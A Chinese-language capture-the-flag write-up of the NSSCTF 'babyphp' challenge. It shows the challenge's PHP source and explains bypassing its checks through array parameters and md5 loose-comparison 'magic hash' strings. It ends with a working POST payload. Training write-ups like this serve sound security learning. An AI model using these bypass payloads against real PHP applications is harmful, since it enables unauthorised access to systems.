【NSSCTF 2022 Spring Recruit】babyphp

Contents

[NSSCTF 2022 Spring Recruit]babyphp

思路

直接看源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
    if(isset($_POST['b1'])&&$_POST['b2']){
        if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
            if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
                echo $flag;
            }else{
                echo "yee";
            }
        }else{
            echo "nop";
        }
    }else{
        echo "go on";
    }
}else{
    echo "let's get some php";
}
?> 
  • 第一层:使用数组绕过

    • preg_match('/[0-9]/',$_POST['a']):传参a不能被识别为int数值
    • intval($_POST['a']):传参a中要可以转化为一个interger类型的数值
  • 第二层:使用数组绕过

    • $_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])明显的md5强等于绕过,很多题目都有。
  • 第三层:使用md5弱等于绕过

    • $_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])首先要String类型,其次要md5弱等于绕过。使用我常用的一组。

      网上有很多可以自己查找

      1
      2
      
      s155964671a
      s878926199a

EXP

POST传参

1
a[]=1&b1[]=2&b2[]=4&c1=s878926199a&c2=s155964671a

总结

  • 数组绕过
  • 弱比较
0%